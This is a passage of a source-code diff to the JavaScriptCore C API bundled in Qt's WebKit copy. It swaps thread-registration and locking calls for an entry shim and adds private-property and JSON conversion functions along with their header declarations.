     MarkedArgumentBuffer argList;
     for (size_t i = 0; i < argumentCount; ++i)
@@ -188,8 +182,7 @@ JSObjectRef JSObjectMakeDate(JSContextRef ctx, size_t argumentCount, const JSVal
 JSObjectRef JSObjectMakeError(JSContextRef ctx, size_t argumentCount, const JSValueRef arguments[],  JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     MarkedArgumentBuffer argList;
     for (size_t i = 0; i < argumentCount; ++i)
@@ -209,8 +202,7 @@ JSObjectRef JSObjectMakeError(JSContextRef ctx, size_t argumentCount, const JSVa
 JSObjectRef JSObjectMakeRegExp(JSContextRef ctx, size_t argumentCount, const JSValueRef arguments[],  JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     MarkedArgumentBuffer argList;
     for (size_t i = 0; i < argumentCount; ++i)
@@ -230,8 +222,7 @@ JSObjectRef JSObjectMakeRegExp(JSContextRef ctx, size_t argumentCount, const JSV
 JSValueRef JSObjectGetPrototype(JSContextRef ctx, JSObjectRef object)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
     return toRef(exec, jsObject->prototype());
@@ -240,8 +231,7 @@ JSValueRef JSObjectGetPrototype(JSContextRef ctx, JSObjectRef object)
 void JSObjectSetPrototype(JSContextRef ctx, JSObjectRef object, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
     JSValue jsValue = toJS(exec, value);
@@ -252,8 +242,7 @@ void JSObjectSetPrototype(JSContextRef ctx, JSObjectRef object, JSValueRef value
 bool JSObjectHasProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
     
@@ -263,8 +252,7 @@ bool JSObjectHasProperty(JSContextRef ctx, JSObjectRef object, JSStringRef prope
 JSValueRef JSObjectGetProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
 
@@ -280,8 +268,7 @@ JSValueRef JSObjectGetProperty(JSContextRef ctx, JSObjectRef object, JSStringRef
 void JSObjectSetProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName, JSValueRef value, JSPropertyAttributes attributes, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
     Identifier name(propertyName->identifier(&exec->globalData()));
@@ -304,8 +291,7 @@ void JSObjectSetProperty(JSContextRef ctx, JSObjectRef object, JSStringRef prope
 JSValueRef JSObjectGetPropertyAtIndex(JSContextRef ctx, JSObjectRef object, unsigned propertyIndex, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
 
@@ -322,8 +308,7 @@ JSValueRef JSObjectGetPropertyAtIndex(JSContextRef ctx, JSObjectRef object, unsi
 void JSObjectSetPropertyAtIndex(JSContextRef ctx, JSObjectRef object, unsigned propertyIndex, JSValueRef value, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
     JSValue jsValue = toJS(exec, value);
@@ -339,8 +324,7 @@ void JSObjectSetPropertyAtIndex(JSContextRef ctx, JSObjectRef object, unsigned p
 bool JSObjectDeleteProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
 
@@ -380,6 +364,55 @@ bool JSObjectSetPrivate(JSObjectRef object, void* data)
     return false;
 }
 
+JSValueRef JSObjectGetPrivateProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName)
+{
+    ExecState* exec = toJS(ctx);
+    APIEntryShim entryShim(exec);
+    JSObject* jsObject = toJS(object);
+    JSValue result;
+    Identifier name(propertyName->identifier(&exec->globalData()));
+    if (jsObject->inherits(&JSCallbackObject<JSGlobalObject>::info))
+        result = static_cast<JSCallbackObject<JSGlobalObject>*>(jsObject)->getPrivateProperty(name);
+    else if (jsObject->inherits(&JSCallbackObject<JSObject>::info))
+        result = static_cast<JSCallbackObject<JSObject>*>(jsObject)->getPrivateProperty(name);
+    return toRef(exec, result);
+}
+
+bool JSObjectSetPrivateProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName, JSValueRef value)
+{
+    ExecState* exec = toJS(ctx);
+    APIEntryShim entryShim(exec);
+    JSObject* jsObject = toJS(object);
+    JSValue jsValue = toJS(exec, value);
+    Identifier name(propertyName->identifier(&exec->globalData()));
+    if (jsObject->inherits(&JSCallbackObject<JSGlobalObject>::info)) {
+        static_cast<JSCallbackObject<JSGlobalObject>*>(jsObject)->setPrivateProperty(name, jsValue);
+        return true;
+    }
+    if (jsObject->inherits(&JSCallbackObject<JSObject>::info)) {
+        static_cast<JSCallbackObject<JSObject>*>(jsObject)->setPrivateProperty(name, jsValue);
+        return true;
+    }
+    return false;
+}
+
+bool JSObjectDeletePrivateProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName)
+{
+    ExecState* exec = toJS(ctx);
+    APIEntryShim entryShim(exec);
+    JSObject* jsObject = toJS(object);
+    Identifier name(propertyName->identifier(&exec->globalData()));
+    if (jsObject->inherits(&JSCallbackObject<JSGlobalObject>::info)) {
+        static_cast<JSCallbackObject<JSGlobalObject>*>(jsObject)->deletePrivateProperty(name);
+        return true;
+    }
+    if (jsObject->inherits(&JSCallbackObject<JSObject>::info)) {
+        static_cast<JSCallbackObject<JSObject>*>(jsObject)->deletePrivateProperty(name);
+        return true;
+    }
+    return false;
+}
+
 bool JSObjectIsFunction(JSContextRef, JSObjectRef object)
 {
     CallData callData;
@@ -389,8 +422,7 @@ bool JSObjectIsFunction(JSContextRef, JSObjectRef object)
 JSValueRef JSObjectCallAsFunction(JSContextRef ctx, JSObjectRef object, JSObjectRef thisObject, size_t argumentCount, const JSValueRef arguments[], JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
     JSObject* jsThisObject = toJS(thisObject);
@@ -427,8 +459,7 @@ bool JSObjectIsConstructor(JSContextRef, JSObjectRef object)
 JSObjectRef JSObjectCallAsConstructor(JSContextRef ctx, JSObjectRef object, size_t argumentCount, const JSValueRef arguments[], JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSObject* jsObject = toJS(object);
 
@@ -466,8 +497,7 @@ JSPropertyNameArrayRef JSObjectCopyPropertyNames(JSContextRef ctx, JSObjectRef o
 {
     JSObject* jsObject = toJS(object);
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSGlobalData* globalData = &exec->globalData();
 
@@ -492,7 +522,7 @@ JSPropertyNameArrayRef JSPropertyNameArrayRetain(JSPropertyNameArrayRef array)
 void JSPropertyNameArrayRelease(JSPropertyNameArrayRef array)
 {
     if (--array->refCount == 0) {
-        JSLock lock(array->globalData->isSharedInstance ? LockForReal : SilenceAssertionsOnly);
+        APIEntryShim entryShim(array->globalData, false);
         delete array;
     }
 }
@@ -510,9 +540,6 @@ JSStringRef JSPropertyNameArrayGetNameAtIndex(JSPropertyNameArrayRef array, size
 void JSPropertyNameAccumulatorAddName(JSPropertyNameAccumulatorRef array, JSStringRef propertyName)
 {
     PropertyNameArray* propertyNames = toJS(array);
-
-    propertyNames->globalData()->heap.registerThread();
-    JSLock lock(propertyNames->globalData()->isSharedInstance ? LockForReal : SilenceAssertionsOnly);
-
+    APIEntryShim entryShim(propertyNames->globalData());
     propertyNames->add(propertyName->identifier(propertyNames->globalData()));
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSObjectRefPrivate.h b/src/3rdparty/webkit/JavaScriptCore/API/JSObjectRefPrivate.h
new file mode 100644
index 0000000..32e80ab
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSObjectRefPrivate.h
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
+ * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+ * THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JSObjectRefPrivate_h
+#define JSObjectRefPrivate_h
+
+#include <JavaScriptCore/JSObjectRef.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/*!
+ @function
+ @abstract Sets a private property on an object.  This private property cannot be accessed from within JavaScript.
+ @param ctx The execution context to use.
+ @param object The JSObject whose private property you want to set.
+ @param propertyName A JSString containing the property's name.
+ @param value A JSValue to use as the property's value.  This may be NULL.
+ @result true if object can store private data, otherwise false.
+ @discussion This API allows you to store JS values directly an object in a way that will be ensure that they are kept alive without exposing them to JavaScript code and without introducing the reference cycles that may occur when using JSValueProtect.
+
+ The default object class does not allocate storage for private data. Only objects created with a non-NULL JSClass can store private properties.
+ */
+JS_EXPORT bool JSObjectSetPrivateProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName, JSValueRef value);
+
+/*!
+ @function
+ @abstract Gets a private property from an object.
+ @param ctx The execution context to use.
+ @param object The JSObject whose private property you want to get.
+ @param propertyName A JSString containing the property's name.
+ @result The property's value if object has the property, otherwise NULL.
+ */
+JS_EXPORT JSValueRef JSObjectGetPrivateProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName);
+
+/*!
+ @function
+ @abstract Deletes a private property from an object.
+ @param ctx The execution context to use.
+ @param object The JSObject whose private property you want to delete.
+ @param propertyName A JSString containing the property's name.
+ @result true if object can store private data, otherwise false.
+ @discussion The default object class does not allocate storage for private data. Only objects created with a non-NULL JSClass can store private data.
+ */
+JS_EXPORT bool JSObjectDeletePrivateProperty(JSContextRef ctx, JSObjectRef object, JSStringRef propertyName);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // JSObjectRefPrivate_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSStringRef.h b/src/3rdparty/webkit/JavaScriptCore/API/JSStringRef.h
index c58b958..92135b1 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSStringRef.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSStringRef.h
@@ -37,7 +37,8 @@
 extern "C" {
 #endif
 
-#if !defined(WIN32) && !defined(_WIN32) && !defined(__WINSCW__)
+#if !defined(WIN32) && !defined(_WIN32) && !defined(__WINSCW__) \
+    && !(defined(__CC_ARM) || defined(__ARMCC__)) /* RVCT */
 /*!
 @typedef JSChar
 @abstract A Unicode character.
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.cpp b/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.cpp
index 2207181..ced8203 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.cpp
@@ -26,12 +26,14 @@
 #include "config.h"
 #include "JSValueRef.h"
 
-#include <wtf/Platform.h>
 #include "APICast.h"
+#include "APIShims.h"
 #include "JSCallbackObject.h"
 
 #include <runtime/JSGlobalObject.h>
+#include <runtime/JSONObject.h>
 #include <runtime/JSString.h>
+#include <runtime/LiteralParser.h>
 #include <runtime/Operations.h>
 #include <runtime/Protect.h>
 #include <runtime/UString.h>
@@ -41,13 +43,14 @@
 
 #include <algorithm> // for std::min
 
-JSType JSValueGetType(JSContextRef ctx, JSValueRef value)
+using namespace JSC;
+
+::JSType JSValueGetType(JSContextRef ctx, JSValueRef value)
 {
-    JSC::ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSC::JSLock lock(exec);
+    ExecState* exec = toJS(ctx);
+    APIEntryShim entryShim(exec);
 
-    JSC::JSValue jsValue = toJS(exec, value);
+    JSValue jsValue = toJS(exec, value);
 
     if (jsValue.isUndefined())
         return kJSTypeUndefined;
@@ -63,13 +66,10 @@ JSType JSValueGetType(JSContextRef ctx, JSValueRef value)
     return kJSTypeObject;
 }
 
-using namespace JSC; // placed here to avoid conflict between JSC::JSType and JSType, above.
-
 bool JSValueIsUndefined(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     return jsValue.isUndefined();
@@ -78,8 +78,7 @@ bool JSValueIsUndefined(JSContextRef ctx, JSValueRef value)
 bool JSValueIsNull(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     return jsValue.isNull();
@@ -88,8 +87,7 @@ bool JSValueIsNull(JSContextRef ctx, JSValueRef value)
 bool JSValueIsBoolean(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     return jsValue.isBoolean();
@@ -98,8 +96,7 @@ bool JSValueIsBoolean(JSContextRef ctx, JSValueRef value)
 bool JSValueIsNumber(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     return jsValue.isNumber();
@@ -108,8 +105,7 @@ bool JSValueIsNumber(JSContextRef ctx, JSValueRef value)
 bool JSValueIsString(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     return jsValue.isString();
@@ -118,8 +114,7 @@ bool JSValueIsString(JSContextRef ctx, JSValueRef value)
 bool JSValueIsObject(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     return jsValue.isObject();
@@ -128,8 +123,7 @@ bool JSValueIsObject(JSContextRef ctx, JSValueRef value)
 bool JSValueIsObjectOfClass(JSContextRef ctx, JSValueRef value, JSClassRef jsClass)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     
@@ -145,8 +139,7 @@ bool JSValueIsObjectOfClass(JSContextRef ctx, JSValueRef value, JSClassRef jsCla
 bool JSValueIsEqual(JSContextRef ctx, JSValueRef a, JSValueRef b, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsA = toJS(exec, a);
     JSValue jsB = toJS(exec, b);
@@ -163,20 +156,18 @@ bool JSValueIsEqual(JSContextRef ctx, JSValueRef a, JSValueRef b, JSValueRef* ex
 bool JSValueIsStrictEqual(JSContextRef ctx, JSValueRef a, JSValueRef b)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsA = toJS(exec, a);
     JSValue jsB = toJS(exec, b);
 
-    return JSValue::strictEqual(jsA, jsB);
+    return JSValue::strictEqual(exec, jsA, jsB);
 }
 
 bool JSValueIsInstanceOfConstructor(JSContextRef ctx, JSValueRef value, JSObjectRef constructor, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
 
@@ -195,8 +186,7 @@ bool JSValueIsInstanceOfConstructor(JSContextRef ctx, JSValueRef value, JSObject
 JSValueRef JSValueMakeUndefined(JSContextRef ctx)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     return toRef(exec, jsUndefined());
 }
@@ -204,8 +194,7 @@ JSValueRef JSValueMakeUndefined(JSContextRef ctx)
 JSValueRef JSValueMakeNull(JSContextRef ctx)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     return toRef(exec, jsNull());
 }
@@ -213,8 +202,7 @@ JSValueRef JSValueMakeNull(JSContextRef ctx)
 JSValueRef JSValueMakeBoolean(JSContextRef ctx, bool value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     return toRef(exec, jsBoolean(value));
 }
@@ -222,8 +210,7 @@ JSValueRef JSValueMakeBoolean(JSContextRef ctx, bool value)
 JSValueRef JSValueMakeNumber(JSContextRef ctx, double value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     return toRef(exec, jsNumber(exec, value));
 }
@@ -231,17 +218,40 @@ JSValueRef JSValueMakeNumber(JSContextRef ctx, double value)
 JSValueRef JSValueMakeString(JSContextRef ctx, JSStringRef string)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     return toRef(exec, jsString(exec, string->ustring()));
 }
 
+JSValueRef JSValueMakeFromJSONString(JSContextRef ctx, JSStringRef string)
+{
+    ExecState* exec = toJS(ctx);
+    APIEntryShim entryShim(exec);
+    LiteralParser parser(exec, string->ustring(), LiteralParser::StrictJSON);
+    return toRef(exec, parser.tryLiteralParse());
+}
+
+JSStringRef JSValueCreateJSONString(JSContextRef ctx, JSValueRef apiValue, unsigned indent, JSValueRef* exception)
+{
+    ExecState* exec = toJS(ctx);
+    APIEntryShim entryShim(exec);
+    JSValue value = toJS(exec, apiValue);
+    UString result = JSONStringify(exec, value, indent);
+    if (exception)
+        *exception = 0;
+    if (exec->hadException()) {
+        if (exception)
+            *exception = toRef(exec, exec->exception());
+        exec->clearException();
+        return 0;
+    }
+    return OpaqueJSString::create(result).releaseRef();
+}
+
 bool JSValueToBoolean(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     return jsValue.toBoolean(exec);
@@ -250,8 +260,7 @@ bool JSValueToBoolean(JSContextRef ctx, JSValueRef value)
 double JSValueToNumber(JSContextRef ctx, JSValueRef value, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
 
@@ -268,8 +277,7 @@ double JSValueToNumber(JSContextRef ctx, JSValueRef value, JSValueRef* exception
 JSStringRef JSValueToStringCopy(JSContextRef ctx, JSValueRef value, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     
@@ -286,8 +294,7 @@ JSStringRef JSValueToStringCopy(JSContextRef ctx, JSValueRef value, JSValueRef*
 JSObjectRef JSValueToObject(JSContextRef ctx, JSValueRef value, JSValueRef* exception)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
     JSValue jsValue = toJS(exec, value);
     
@@ -304,19 +311,17 @@ JSObjectRef JSValueToObject(JSContextRef ctx, JSValueRef value, JSValueRef* exce
 void JSValueProtect(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
-    JSValue jsValue = toJS(exec, value);
+    JSValue jsValue = toJSForGC(exec, value);
     gcProtect(jsValue);
 }
 
 void JSValueUnprotect(JSContextRef ctx, JSValueRef value)
 {
     ExecState* exec = toJS(ctx);
-    exec->globalData().heap.registerThread();
-    JSLock lock(exec);
+    APIEntryShim entryShim(exec);
 
-    JSValue jsValue = toJS(exec, value);
+    JSValue jsValue = toJSForGC(exec, value);
     gcUnprotect(jsValue);
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.h b/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.h
index 7a7bf93..4186db8 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/JSValueRef.h
@@ -27,6 +27,7 @@
 #define JSValueRef_h
 
 #include <JavaScriptCore/JSBase.h>
+#include <JavaScriptCore/WebKitAvailability.h>
 
 #ifndef __cplusplus
 #include <stdbool.h>
@@ -208,6 +209,28 @@ JS_EXPORT JSValueRef JSValueMakeNumber(JSContextRef ctx, double number);
 */
 JS_EXPORT JSValueRef JSValueMakeString(JSContextRef ctx, JSStringRef string);
 
+/* Converting to and from JSON formatted strings */
+
+/*!
+ @function
+ @abstract       Creates a JavaScript value from a JSON formatted string.
+ @param ctx      The execution context to use.
+ @param string   The JSString containing the JSON string to be parsed.
+ @result         A JSValue containing the parsed value, or NULL if the input is invalid.
+ */
+JS_EXPORT JSValueRef JSValueMakeFromJSONString(JSContextRef ctx, JSStringRef string) AVAILABLE_AFTER_WEBKIT_VERSION_4_0;
+
+/*!
+ @function
+ @abstract       Creates a JavaScript string containing the JSON serialized representation of a JS value.
+ @param ctx      The execution context to use.
+ @param value    The value to serialize.
+ @param indent   The number of spaces to indent when nesting.  If 0, the resulting JSON will not contains newlines.  The size of the indent is clamped to 10 spaces.
+ @param exception A pointer to a JSValueRef in which to store an exception, if any. Pass NULL if you do not care to store an exception.
+ @result         A JSString with the result of serialization, or NULL if an exception is thrown.
+ */
+JS_EXPORT JSStringRef JSValueCreateJSONString(JSContextRef ctx, JSValueRef value, unsigned indent, JSValueRef* exception) AVAILABLE_AFTER_WEBKIT_VERSION_4_0;
+
 /* Converting to primitive values */
 
 /*!
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/OpaqueJSString.cpp b/src/3rdparty/webkit/JavaScriptCore/API/OpaqueJSString.cpp
index 7c7b1af..f740abe 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/OpaqueJSString.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/API/OpaqueJSString.cpp
@@ -42,7 +42,7 @@ PassRefPtr<OpaqueJSString> OpaqueJSString::create(const UString& ustring)
 UString OpaqueJSString::ustring() const
 {
     if (this && m_characters)
-        return UString(m_characters, m_length, true);
+        return UString(m_characters, m_length);
     return UString::null();
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/API/WebKitAvailability.h b/src/3rdparty/webkit/JavaScriptCore/API/WebKitAvailability.h
index 8402528..0e4f091 100644
--- a/src/3rdparty/webkit/JavaScriptCore/API/WebKitAvailability.h
+++ b/src/3rdparty/webkit/JavaScriptCore/API/WebKitAvailability.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2008 Apple Inc. All Rights Reserved.
+ * Copyright (C) 2008, 2009, 2010 Apple Inc. All Rights Reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -42,7 +42,7 @@
 #define WEBKIT_VERSION_LATEST 0x9999
 
 #ifdef __APPLE__
-#import <AvailabilityMacros.h>
+#include <AvailabilityMacros.h>
 #else
 /*
  * For non-Mac platforms, require the newest version.
@@ -86,6 +86,9 @@
     #elif !defined(MAC_OS_X_VERSION_10_6) || MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_6
         /* WebKit 3.0 is the version that shipped on Mac OS X 10.5. */
         #define WEBKIT_VERSION_MIN_REQUIRED WEBKIT_VERSION_3_0
+    #elif !defined(MAC_OS_X_VERSION_10_7) || MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_7
+        /* WebKit 4.0 is the version that shipped on Mac OS X 10.6. */
+        #define WEBKIT_VERSION_MIN_REQUIRED WEBKIT_VERSION_4_0
     #else
         #define WEBKIT_VERSION_MIN_REQUIRED WEBKIT_VERSION_LATEST
     #endif
@@ -645,9 +648,9 @@
  * 
  * Used on declarations introduced in WebKit 4.0
  */
-#if WEBKIT_VERSION_MAX_ALLOWED < WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MAX_ALLOWED < WEBKIT_VERSION_4_0
     #define AVAILABLE_IN_WEBKIT_VERSION_4_0     UNAVAILABLE_ATTRIBUTE
-#elif WEBKIT_VERSION_MIN_REQUIRED < WEBKIT_VERSION_LATEST
+#elif WEBKIT_VERSION_MIN_REQUIRED < WEBKIT_VERSION_4_0
     #define AVAILABLE_IN_WEBKIT_VERSION_4_0     WEAK_IMPORT_ATTRIBUTE
 #else
     #define AVAILABLE_IN_WEBKIT_VERSION_4_0
@@ -659,7 +662,7 @@
  * Used on declarations introduced in WebKit 4.0, 
  * and deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_IN_WEBKIT_VERSION_4_0_BUT_DEPRECATED    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_IN_WEBKIT_VERSION_4_0_BUT_DEPRECATED    AVAILABLE_IN_WEBKIT_VERSION_4_0
@@ -671,7 +674,7 @@
  * Used on declarations introduced in WebKit 1.0, 
  * but later deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_WEBKIT_VERSION_1_0_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_WEBKIT_VERSION_1_0_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_0_AND_LATER
@@ -683,7 +686,7 @@
  * Used on declarations introduced in WebKit 1.1, 
  * but later deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
+#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_4_0
     #define AVAILABLE_WEBKIT_VERSION_1_1_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    DEPRECATED_ATTRIBUTE
 #else
     #define AVAILABLE_WEBKIT_VERSION_1_1_AND_LATER_BUT_DEPRECATED_IN_WEBKIT_VERSION_4_0    AVAILABLE_WEBKIT_VERSION_1_1_AND_LATER
@@ -695,7 +698,7 @@
  * Used on declarations introduced in WebKit 1.2, 
  * but later deprecated in WebKit 4.0
  */
-#if WEBKIT_VERSION_MIN_REQUIRED >= WEBKIT_VERSION_LATEST
